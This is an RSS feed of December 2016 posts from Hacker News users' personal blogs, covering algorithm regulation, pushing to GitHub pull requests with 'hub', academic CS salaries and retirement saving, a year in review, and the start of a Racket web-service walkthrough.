<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Hacker News Personal Blogs 2016 | All Blog Posts</title><link>https://hn-blogs.kronis.dev/feed.xml</link><description>A collection of blog posts from users of Hacker News, based on RSS feeds.</description><language>en-US</language><lastBuildDate>Wed, 20 May 2026 04:03:16 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>UK Labour "closer scrutiny of algorithms" will be useless. If you are lucky</title><link>https://stop.zona-m.net/2016/12/uk-labour-closer-scrutiny-of-algorithms-will-be-useless-if-you-are-lucky/</link><description>&lt;p&gt;It looks like the UK Labour party will soon &lt;a href="https://www.theguardian.com/business/2016/dec/18/labour-calls-for-regulation-of-algorithms-used-by-tech-firms"&gt;call for closer scrutiny of tech firms and their algorithms&lt;/a&gt;. If all goes well, it just won&amp;rsquo;t work, and that will the end of it. Otherwise, it will be &lt;strong&gt;really bad&lt;/strong&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 31 Dec 2016 22:04:11 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/12/uk-labour-closer-scrutiny-of-algorithms-will-be-useless-if-you-are-lucky/</guid></item><item><title>Pushing to someone else's pull request on GitHub</title><link>https://jonathanchang.org/blog/pushing-to-a-pull-request-on-github/</link><description>&lt;p&gt;If you’re a maintainer of an open source repository on GitHub, you often want to make a small change to a pull request but don’t want to wait for the original author to make changes or open a brand new pull request. &lt;a href="https://help.github.com/articles/committing-changes-to-a-pull-request-branch-created-from-a-fork/"&gt;GitHub now allows upstream maintainers, with permission, to push to downstream forks&lt;/a&gt;, but the provided instructions don’t meet my needs. Specifically, I don’t want to have to re-clone an entire repository for every contributor, and I don’t want to pollute my local repository with a bunch of remotes pointing to contributors’ forks.&lt;/p&gt;
  &lt;p&gt;It took a little while to figure out some problems with credentials, but basically you can just push directly to SSH URLs, assuming you have your SSH keys set up properly.&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;p&gt;Open Terminal and install &lt;code&gt;hub&lt;/code&gt; if you haven’t already, then navigate to your git repository. If this is your first time using &lt;code&gt;hub&lt;/code&gt; you might be prompted for your GitHub credentials.&lt;/p&gt;
      &lt;div class="language-sh highlighter-rouge"&gt;
        &lt;div class="highlight"&gt;
          &lt;pre class="highlight"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;hub
&lt;span class="nb"&gt;cd &lt;/span&gt;my-git-repo
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Fetch the changes from the downstream fork, add a tracking branch, and switch to that branch. You’ll need the GitHub pull request number and the origin set to the proper GitHub repository:&lt;/p&gt;
      &lt;div class="language-sh highlighter-rouge"&gt;
        &lt;div class="highlight"&gt;
          &lt;pre class="highlight"&gt;&lt;code&gt;hub &lt;span class="nb"&gt;pr &lt;/span&gt;checkout PR_NUMBER
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Make changes as necessary and commit them.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Push your changes to the downstream fork:&lt;/p&gt;
      &lt;div class="language-sh highlighter-rouge"&gt;
        &lt;div class="highlight"&gt;
          &lt;pre class="highlight"&gt;&lt;code&gt;hub push
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
  &lt;p&gt;You should now see the changes reflected in the pull request online!&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Fri, 30 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/pushing-to-a-pull-request-on-github/</guid></item><item><title>101 Links From 2015</title><link>https://faingezicht.com/links/2016/12/30/101-things-from-2015/</link><description>2015 was a year of choices and change for me: I moved from school in Chicago to full-time work in San Francisco. The selected articles are a good reflection of my mindset then, but after reading through the titles, I was suprised by how many of these I keep bringing up in conversation today. It is remarkable that I could remember where and when I read the majority of the pieces, two years later.

Below is a mix of longform, essays, quick notes, blog posts, interviews and other journalism representing the kind of work I enjoy on technology, business, science and economics, plus the few stray random topics. Since you're here, I'll assume you're familiar.

In alphabetical order:</description><author>Avy Faingezicht</author><pubDate>Fri, 30 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/12/30/101-things-from-2015/</guid></item><item><title>Finances for recent CS Ph.Ds headed to academia</title><link>https://da-data.blogspot.com/2016/12/finances-for-recent-cs-phds-headed-to.html</link><description>&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgoyn50jQuNtC5K3IaXSNTZhbNw3qrI4rD5EWvTa9dG4Yvo8KaWKXjGANs1UEp3oQMROu6hq0WCMpF6sF_Ix-nuSWogcOpZTVPuiIWiDh-vVx92Jhagh7FYDuk4SLcUwkb890EIwxbhc/s1600/financial_satisfaction_over_time.jpg" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidgoyn50jQuNtC5K3IaXSNTZhbNw3qrI4rD5EWvTa9dG4Yvo8KaWKXjGANs1UEp3oQMROu6hq0WCMpF6sF_Ix-nuSWogcOpZTVPuiIWiDh-vVx92Jhagh7FYDuk4SLcUwkb890EIwxbhc/s400/financial_satisfaction_over_time.jpg" width="400" /&gt;&lt;/a&gt;As you may have guessed from my recent &lt;a href="http://da-data.blogspot.com/2015/06/why-my-car-cost-more-than-taking-uber.html"&gt;post analyzing the TCO of my former automobile&lt;/a&gt;, and my post on &lt;a href="https://da-data.blogspot.com/2016/09/finances-for-cs-phd-students.html"&gt;finances for CS Ph.D. students&lt;/a&gt;, I've been thinking about finance a bit lately. &amp;nbsp;After a thought-provoking discussion with a senior colleague in another department, I've come to the conclusion my financial satisfaction graph looked something like this -- and I bet it's similar for many other no-kids-at-completion academics who end up enfamilied (can I make up that word?).&lt;br /&gt;
&lt;br /&gt;
(In case I seem too negative about kids, don't get me wrong. &amp;nbsp;As the absolutely awesome book &lt;a href="http://amzn.to/2iEV9SD"&gt;All Joy and No Fun&lt;/a&gt; notes, being honest about the myriad costs of having a child isn't at odds with also being very glad that the little wriggling worm is in your life. &amp;nbsp;Great book. &amp;nbsp;If you haven't read it and you do or may have kids, read it.)&lt;br /&gt;
&lt;br /&gt;
The &lt;a href="http://cra.org//uploads/documents/resources/crndocs/2014-Taulbee-Survey.pdf"&gt;Taulbee survey&lt;/a&gt; suggests that the median assistant professor in Computer Science has a 9mo salary of about $96,055. &amp;nbsp;Assuming you pay your summers, that's about $128k/year, or $10,672/month. &amp;nbsp;When you're fresh out of grad school, that's a boatload of money. &amp;nbsp;(It's actually a little higher: &amp;nbsp;Many universities toss in about 8% for you into a retirement fund, so total compensation is around $138k/year.)&lt;br /&gt;
&lt;br /&gt;
But &lt;a href="http://www.babycenter.com/0_how-much-youll-spend-on-childcare_1199776.bc"&gt;having one child in daycare can cost you from $950-$1600/month (or more in expensive cities)&lt;/a&gt;. &amp;nbsp;That can be as much as 15% of your gross. Younger children are more expensive because the teacher-to-child ratio is lower. &amp;nbsp;And, let's be honest: &amp;nbsp;Over-educated Ph.D. type people tend to try to find really good daycares, and may be willing to pay extra to take advantage of their university's on-campus centers. &amp;nbsp;(We do this, and I swear by it: &amp;nbsp;I walk with my daughter to work/school every day, and I love the time we get to spend together, instead of being cooped up with some extra car commute.) &amp;nbsp;But there's more than that:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Insurance costs go up&lt;/li&gt;
&lt;li&gt;Life insurance sounds like a really good idea for the next few years&lt;/li&gt;
&lt;li&gt;Spare time for extra-revenue consulting goes down&lt;/li&gt;
&lt;li&gt;You start stashing away for their college fund&lt;/li&gt;
&lt;li&gt;Babysitters become a thing&lt;/li&gt;
&lt;li&gt;You buy kid stuff&lt;/li&gt;
&lt;li&gt;Household and food costs go up and you may choose to outsource more things (cleaning, etc.)&lt;/li&gt;
&lt;li&gt;You got a house to have a little more space than that efficient, tiny apartment you started with&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
An interesting attribute of the Ph.D. track is that your starting salary is quite reasonable, but you're about 5 or 6 years behind non-Ph.Ds in having been able to start saving.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After a few years of staring at industry salaries and grumbling about your choice to go into academia, things start to improve. &amp;nbsp;Median associate professor salary goes up to about $148k. &amp;nbsp;A fresh full professor is at about $190k. &amp;nbsp;The cost of daycare goes down as your child(ren) get older. &amp;nbsp;You've paid off more of your mortgage, so your relative savings rate increases. &amp;nbsp;The relative cost of saving for their college goes down, assuming you contribute a constant amount -- and as they get older and you're still teaching, it becomes more and more likely you can take advantage of your university's tuition benefits, if they offer them.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
(I should note that this is all a very first-world problem, as the saying goes: &amp;nbsp;An academic makes more than enough to be comfortable and secure. &amp;nbsp;But you do sacrifice salary to choose to stay in the academic environment, in exchange for a much greater degree of flexibility and control over what you do.)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
So I started thinking about what I would go back and tell either younger-Dave or my own Ph.D. students. &amp;nbsp;And here it is:&lt;/div&gt;
&lt;h3&gt;
Things I did right&lt;/h3&gt;
&lt;div&gt;
&lt;b&gt;Live frugally in grad school - and no loans:&lt;/b&gt;&amp;nbsp; You don't have to have a lot of money to have a great time in grad school. &amp;nbsp;Boston was an expensive place to live, but it was counterbalanced by the fact that I was able to ditch my car before moving there and save all of those expenses. &amp;nbsp;It's temporary -- don't get a lot of crap, and take advantage of the high churn rate to get cheap stuff when you get there. &amp;nbsp;Having a buffer of cash for emergencies goes a long way to making grad school lower stress on the financial side. &amp;nbsp;Goodness knows there's enough stress in getting a Ph.D. anyway -- don't add to it by making the money situation complicated!&lt;br /&gt;
&lt;br /&gt;
If I were advertising shamelessly, I'd note that Pittsburgh has a great cost-of-living, and a grad student can live very well here while remaining frugal. &amp;nbsp;But that would invite my colleagues on the west coast to post pictures of their beaches, and that arms race never ends well for anyone.&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Pay into a Roth IRA during grad school if possible&lt;/b&gt;: &amp;nbsp;As you're painfully aware, grad student stipends will not make you rich. &amp;nbsp;But the fact that you're in the lowest tax bracket you'll see for the rest of your life makes it an awesome time to stash some money in a Roth IRA. &amp;nbsp;All of the growth and later withdrawals will happen tax free, and you're paying basically no tax right now anyway. &amp;nbsp;Live frugally, save the money you make from summer internships, and contribute a bit each year when you're able. &amp;nbsp;The cool thing about the Roth is that you can take the principal back out, so you're still able to use this as an emergency fund. &amp;nbsp;But don't.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I did a little of this, but if I could go back, I'd have been even more aggressive about it. &amp;nbsp;My Roth isn't exciting - I was 39 when I started writing this post in 2015 (and never finished it), and at that time, it had about $50,000 in it - but at 7% average annual growth, by the time I'm 65, that should be worth about $271,000 that I can live off of &lt;i&gt;completely tax free&lt;/i&gt;. &amp;nbsp;That's pretty neat for having saved up in the year after college and during grad school.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Find housing within walking / biking distance to your university:&lt;/b&gt;&amp;nbsp; Huge quality of life boost. &amp;nbsp;I'm spoiled that this is easy in Pittsburgh, but it's do-able in most places. &amp;nbsp;Miles walked give back to you in health and happiness. &amp;nbsp;Miles driven cost in money, health, and happiness. &amp;nbsp;You're also more likely to get to know your neighbors if you walk, which provides extra bonuses (&lt;a href="http://greatergood.berkeley.edu/article/item/how_social_connections_keep_seniors_healthy"&gt;you'll live longer&lt;/a&gt;!).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Have enough money in the bank to cover moving expenses for your first month.&lt;/b&gt;&amp;nbsp; When I moved to Pittsburgh, I had no car, no apartment, no real furniture - pretty much a few boxes of personal stuff, my bikes, my mattress, and some computers. &amp;nbsp;I lived for two weeks in a hotel while finding a place to live, and then had to front first and last month's rent, a security deposit, &lt;a href="https://da-data.blogspot.com/2015/06/why-my-car-cost-more-than-taking-uber.html"&gt;spent $17k on a car&lt;/a&gt;, visit Ikea to quickly get something to eat on, etc. &amp;nbsp; I was really lucky on this one - I'd done some consulting towards the end of grad school, got a windfall during the dot-com boom &lt;a href="https://www.cnet.com/news/10-years-gone-the-va-linux-systems-ipo/"&gt;when VA Linux let open source contributors buy into their IPO at the IPO price&lt;/a&gt;, saved money from my summer internship at DEC, and had started with some money in the bank from a startup. &lt;br /&gt;
&lt;br /&gt;
But that was a big chunk of cash to lay out in the first month. &amp;nbsp;Some companies and universities may offer an advance on moving, and you can certainly float a month of expenses on your credit card, but this is one to think about in advance so you're not caught by surprise! &amp;nbsp;I suggest contacting the university if you think it's going to be a problem and see if they have a way to help. &amp;nbsp;(h/t &lt;a href="https://www.cis.upenn.edu/~jamiemor/"&gt;Jamie Morgenstern&lt;/a&gt; for raising this issue, which also arises for ugrads about to start grad school.)&lt;/div&gt;
&lt;h3&gt;
Things I did wrong&lt;/h3&gt;
&lt;div&gt;
&lt;b&gt;I didn't throw money in index funds and ignore the market&lt;/b&gt;. &amp;nbsp;I made the obvious mistake in grad school of thinking that because I knew the computing industry, I should invest in companies that I thought were going to do well, etc. &amp;nbsp;Oftentimes, analysts have people like us giving them their opinions already, so it's likely factored into the price. &amp;nbsp;I also put too much money in NASDAQ index funds, which are tech heavy. &amp;nbsp;Diversifying through a nice, boring big-market index fund (VTSAX, for example) and then forgetting about it is a much better way to go.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;I didn't analyze the TCO of big post-graduation purchases.&lt;/b&gt;&amp;nbsp; After graduation - and with some savings - your new salary seems limitless. &amp;nbsp;It's not -- because you want to save a lot of it &lt;i&gt;now&lt;/i&gt; to avoid that annoying couple of gap years. &amp;nbsp;I was careful to analyze the expected gas and other costs of my car purchase, for example &amp;nbsp;(in the final analysis, it turned out to not matter much, because I knew that I drove very little), but I didn't think at the time about the importance of missing out on 10 years of capital appreciation on $17k. &amp;nbsp;Oops.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
You were happy on a grad student stipend. &amp;nbsp;Suddenly earning $100k more doesn't mean you have to radically amp-up your lifestyle. &amp;nbsp;You don't need a BMW. &amp;nbsp;Or a 60" TV -- who're you kidding? &amp;nbsp;As a stressed-out assistant professor, you're going to be too busy to watch the damn thing. &amp;nbsp;(grin). &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;I picked up a few expensive habits:&lt;/b&gt;&amp;nbsp; This it the "latte a day" thing. &amp;nbsp;For a while, I was walking past Starbucks on the way in to school. &amp;nbsp;Ahem. &amp;nbsp;But when you calculate it out, with compounding, a $3.50 / workday latte habit represents a total cost of $13,160 over ten years. &amp;nbsp;wince. &amp;nbsp;I'd like to go back and cut a lot of those out. &amp;nbsp;Leave the in-store lattes to the full professors whose kids have left home. :)&lt;/div&gt;
&lt;h3&gt;
Things to think about in your last year of Ph.D. / first year of professorship&lt;/h3&gt;
&lt;div&gt;
The core message to remember is that &lt;b&gt;because you went to grad school, you're starting your retirement savings late.&lt;/b&gt;&amp;nbsp; Probably 4 or 5 years later than your friends who graduated from college and took a job at GoogBookSoftZon. &amp;nbsp;That means you've got a few years less time of compounding, so you want to take advantage of all the opportunities you can to put money into tax-advantaged retirement accounts &lt;i&gt;now.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Depending on when you start, &lt;b&gt;check if you can contribute to a Roth IRA your first year&lt;/b&gt;: &amp;nbsp;After you get started, you'll be over the contribution limit, but if you start in August, your year-long salary will still be low. &amp;nbsp;This is a perfect few months to save up and throw into a Roth. &amp;nbsp;Also, assuming no student loans to pay off, try keeping expenses low enough in those first four months to max out your 403(b) contributions as much as you can. &amp;nbsp;This is the only year where it'll feel a little painful to do so, but it lets you get major tax advantages for that year: &amp;nbsp;Up to $18,000 less federally taxable money from the 403(b), and $5k added to the Roth that will grow tax free. &amp;nbsp;This may or may not be feasible, but keep it in mind as a high goal to aim for. &amp;nbsp;$5k of Roth IRA this year (remember, your tax rate will still be low this year) can grow to around $53k over the ~35 years before you retire.&lt;br /&gt;
&lt;br /&gt;
Put your money in the appropriate-year Vanguard "Target Retirement" fund, or the equivalent at Fidelity. &amp;nbsp;There may come a time later when you want to think about micro-optimizing this (you can get the same asset allocation with slightly lower fees), but at the start, you'll have so little in there that it's not worth your time. &amp;nbsp;Spend your brainpower on your career or consulting or startup, or go outside and enjoy a bit of free time. &amp;nbsp;(h/t &lt;a href="https://www.cs.rice.edu/~dwallach/"&gt;Dan Wallach&lt;/a&gt; for the suggestion.)&lt;br /&gt;
&lt;br /&gt;
Once you're in a full year where you exceed the Roth threshold, make "&lt;b&gt;backdoor roth" &lt;/b&gt;contributions, currently capped at $5500/year. &amp;nbsp; See this &lt;a href="https://www.bogleheads.org/wiki/Backdoor_Roth_IRA"&gt;Bogleheads article for the mechanics&lt;/a&gt;. &amp;nbsp;(Tl;dr: &amp;nbsp;Contribute post-tax money to a traditional IRA account, wait a bit of time, and then roll the traditional IRA over into a Roth IRA).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;If you're at a state school, look for a 457 plan&lt;/b&gt;. &amp;nbsp;This can allow you an additional vehicle for pre-tax retirement contributions. &amp;nbsp;Non-state professors may also have these available, but outside of government, deferred compensation plans like this are restricted to certain highly-compensated employees, and have more risks associated with them. &amp;nbsp;(h/t &lt;a href="http://cseweb.ucsd.edu/~snoeren/"&gt;Alex Snoeren&lt;/a&gt; for the suggestion.)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;See if your school offers a high-deductible health care plan with an HSA&lt;/b&gt;. &amp;nbsp;An HSA is a type of savings account that has the magic property that you can use it also as a retirement account. &amp;nbsp;It's very flexible, and, particularly while you're younger and healthier, this is a great way to go. &amp;nbsp;See &lt;a href="https://www.nytimes.com/2014/08/20/your-money/using-health-savings-accounts-to-invest-for-retirement.html?_r=0"&gt;this New York Times article&lt;/a&gt; for more details. &amp;nbsp;Note: &amp;nbsp;This does &lt;i&gt;not&lt;/i&gt;&amp;nbsp;work with an HRA (healthcare reimbursement account) or an FSA; &amp;nbsp;the latter two must be spent within a certain timeframe and can't be used for long-term savings.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;See if your school allows "mega-backdoor-roth" contributions.&lt;/b&gt;&amp;nbsp; A "mega backdoor Roth" is a way of using your existing 403(b) plan to contribute more to your retirement savings. &amp;nbsp;There's a $53k/year limit on total 403(b) contributions. &amp;nbsp;You have a personal $18k/year limit on how much you can contribute &lt;i&gt;pre&lt;/i&gt;&amp;nbsp;tax. &amp;nbsp;Your university contributes some - let's say it's another $15k/year. &amp;nbsp;That leaves a $20k gap. &amp;nbsp;If your university permits, you can contribute $20k of your &lt;i&gt;post-tax&lt;/i&gt;&amp;nbsp;money into the 403(b) plan and then roll that into a Roth 403(b). &amp;nbsp;See &lt;a href="http://www.madfientist.com/after-tax-contributions/"&gt;this Mad Fientist article for more info&lt;/a&gt;. &amp;nbsp;I'm curious to hear from you if your University allows it - CMU doesn't seem to. &amp;nbsp;Quite a few companies do, if you've gone the industry route.&lt;br /&gt;
&lt;br /&gt;
You probably already know and do the rest - put your travel on rewards cards as appropriate, get reimbursed quickly -- I usually recruit my administrative assistant's help in tracking my expenses so I don't lose any. &amp;nbsp;CS faculty often have enough travel and work expenses that it's easy to lose them here and there.&lt;br /&gt;
&lt;h3&gt;
Ways faculty "bridge the gap" to industry&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
There's a gap. &amp;nbsp;It's large. &amp;nbsp;Every few years, I get a little annoyed about it, and then calm down again. (OK, OK, I got annoyed about it when our child was born and we started paying daycare expenses.) Being an academic has its advantages, but having a pile of cash to sit on provides its own kinds of security. &amp;nbsp;Two years ago, I pinged a bunch of my colleagues about what they do to bridge the gap.&amp;nbsp;Some people may not mind the gap at all - as came up during that previous discussion, it depends a lot on what your life goals and priorities are. &lt;br /&gt;
&lt;br /&gt;
I probably lean slightly irrationally towards wanting a large savings pile from having gone through most of my childhood with only one parent, who partly-retired after my father died. &amp;nbsp;The statistics suggest that I'm probably overcompensating slightly by wanting the flexibility of financial independence a bit earlier than many people do, but it doesn't seem like a bad direction in which to err.&lt;br /&gt;
&lt;br /&gt;
The answers I got from my friends and colleagues in academia were pretty similar. &amp;nbsp;Most universities allow faculty members a day per week of external consulting, and people use that in a few common ways:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Expert witnessing&lt;/b&gt;. &amp;nbsp;The pay is high (often $400/hr+; &amp;nbsp;I know some famous senior folks who charge $1100+). &amp;nbsp;In the cases I've contributed to, it followed a fairly typical pattern: &amp;nbsp;Fun at first while you're learning the specifics of the case and technology; &amp;nbsp;productive for a while; &amp;nbsp;and then &lt;i&gt;excruciatingly boring&lt;/i&gt;&amp;nbsp;for a while as you re-hash with the attorneys, for the 18th time, the meaning of the phrase "to connect to", or "insert into a database", or whatnot. &amp;nbsp;I'd encourage people to try their hand at this at least once or twice, assuming you don't mind getting grilled by the opposing attorneys. &amp;nbsp;It's an interesting experience and will give you insights into our legal &amp;amp; IP systems you wouldn't get otherwise.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;In-area consulting&lt;/b&gt;. &amp;nbsp;As opposed to expert witnessing, this is usually doing something closer to the forefront of your field. &amp;nbsp;The pay is typically lower (I often aim for 2-3x my hourly rate, depending on how interesting I find the work), but usually more long-term rewarding, because you're helping create something. &amp;nbsp;Just be careful of IP agreements and the potential for conflict of interest.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Startups&lt;/b&gt;&amp;nbsp;and one-off opportunities. &amp;nbsp;High risk, high reward, this one speaks for itself. &amp;nbsp;You don't just have to do a startup - you might get lucky &lt;a href="https://da-data.blogspot.com/2014/08/minting-money-with-monero-and-cpu.html"&gt;writing an optimized cryptocurrency miner&lt;/a&gt;, for example. :)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Finally, be aware of both the &lt;a href="http://cra.org/resources/taulbee-survey/"&gt;Taulbee survey&lt;/a&gt;, as well as the fact that you can find out what your colleagues at many public schools are getting paid. &amp;nbsp;For example, &lt;a href="http://www.sacbee.com/site-services/databases/state-pay/article2642161.html#StatePay&amp;amp;search-d=-1&amp;amp;search-dept=UC%20Berkeley&amp;amp;search-n=20&amp;amp;search-p=0&amp;amp;search-s=pay&amp;amp;search-year=2015&amp;amp;top-year=2015"&gt;here's California&lt;/a&gt;. &amp;nbsp;If you select, say, UC Berkeley, you can depress yourself that the six most highly-paid employees are sports coaches. &amp;nbsp;grin. &amp;nbsp;Use this information to advocate for getting a fair salary for yourself, &lt;i&gt;and for your entire department&lt;/i&gt;. &amp;nbsp;While some salary issues are a zero-sum game, others are not, and universities have been known to focus on boosting the salaries in specific departments if they need to.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But don't worry about pulling in extra income in your first year or so. &amp;nbsp;Getting started as a fresh faculty member is already excruciating. &amp;nbsp;The good news is that it gets better after you're in a groove - but it takes two to three years. &amp;nbsp;(The moderate good news is not to worry, because the first few years suck for almost everyone, since getting your Ph.D. doesn't usually prepare you for the transition to full-time teaching, grant writing, student mentoring, and service.) &amp;nbsp;If you're just about to start your faculty journey, good luck and have fun!&lt;br /&gt;
&lt;br /&gt;
(Like what you're reading? &amp;nbsp;Find &lt;a href="https://da-data.blogspot.com/p/blog-page.html"&gt;more in the Archive&lt;/a&gt;...)&lt;br /&gt;
&lt;br /&gt;
Further reading on finances for the freshly graduated:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.etf.com/docs/IfYouCan.pdf"&gt;If You Can - how Millennials Can Get Rich Slowly&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://davidbeitler.com/temp/The%20Millionaire%20Next%20Door%20%5BBook%5D-MANTESH.PDF.pdf"&gt;The Millionaire Next Door&lt;/a&gt;&amp;nbsp;- a classic compendum of research about high-net-worth individuals and how they got there.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bogleheads.org/wiki/Getting_started"&gt;Bogleheads Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mrmoneymustache.com/"&gt;Mr. Money Mustache&lt;/a&gt; - hard-core frugality and early retirement&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Dave's Data</author><pubDate>Thu, 29 Dec 2016 03:22:37 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/12/finances-for-recent-cs-phds-headed-to.html</guid></item><item><title>2016 in review</title><link>https://jasoneckert.github.io/myblog/2016-in-review/</link><description>&lt;p&gt;&lt;img alt="2016a" src="2016a.png#center" title="2016a" /&gt;&lt;/p&gt;
&lt;p&gt;For the past years, I’ve done a “year in review” blog post, and of course this one is for 2016! It’s a great way to reflect on the events that have happened during the year, and to honest, is actually a lot of fun!&lt;/p&gt;
&lt;p&gt;&lt;img alt="2016b" src="2016b.jpg#right" title="2016b" /&gt;&lt;/p&gt;
&lt;p&gt;Just a quick disclaimer: I have no intention of talking about the shallow-but-popular celebrity death fixation that has taken over the Internet (must be a millennial thing).  That being said, when I heard that Prince died, it led me to watch Purple Rain again (great movie), so there’s a plus.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Thu, 29 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/2016-in-review/</guid></item><item><title>Walking through a basic Racket web service</title><link>http://notes.eatonphil.com/walking-through-a-basic-racket-web-service.html</link><description>&lt;p&gt;Racket is an impressive language and ecosystem. Compared to Python,
Racket (an evolution of Scheme &lt;a href="https://en.wikipedia.org/wiki/Scheme_(programming_language)"&gt;R5RS&lt;/a&gt; is three years younger. It is
as concise and expressive as Python but with much more reasonable
syntax and semantics. Racket is also faster in many cases due in part
to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.racket-lang.org/guide/performance.html#%28part._.J.I.T%29"&gt;JIT compilation&lt;/a&gt; on x86 platforms&lt;/li&gt;
&lt;li&gt;support for both
&lt;a href="https://docs.racket-lang.org/reference/threads.html"&gt;concurrency&lt;/a&gt; and &lt;a href="https://docs.racket-lang.org/reference/places.html"&gt;parallelism&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;support for &lt;a href="https://docs.racket-lang.org/ts-guide/optimization.html"&gt;optimizing&lt;/a&gt; statically-typed code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Furthermore, the built-in web server libraries &lt;strong&gt;and&lt;/strong&gt; database
drivers for MySQL and PostgreSQL are fully asynchronous. This last bit
drove me here from &lt;a href="https://www.playframework.com/documentation/2.6.x/ThreadPools#Knowing-when-you-are-blocking"&gt;Play / Akka&lt;/a&gt;.  (But strong reservations about
the complexity of Scala and the ugliness of Play in Java helped too.)&lt;/p&gt;
&lt;p&gt;With this motivation in mind, I'm going to break down the simple web
service &lt;a href="https://docs.racket-lang.org/web-server/stateless.html#%28part._stateless-example%29"&gt;example&lt;/a&gt; provided in the Racket manuals. If you don't see
the following code in the linked page immediately, scroll down a bit.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;&lt;span class="nv"&gt;lang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;web-server/http&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;provide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;interface-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'stateless&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stuffer&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stuffer-chain&lt;/span&gt;
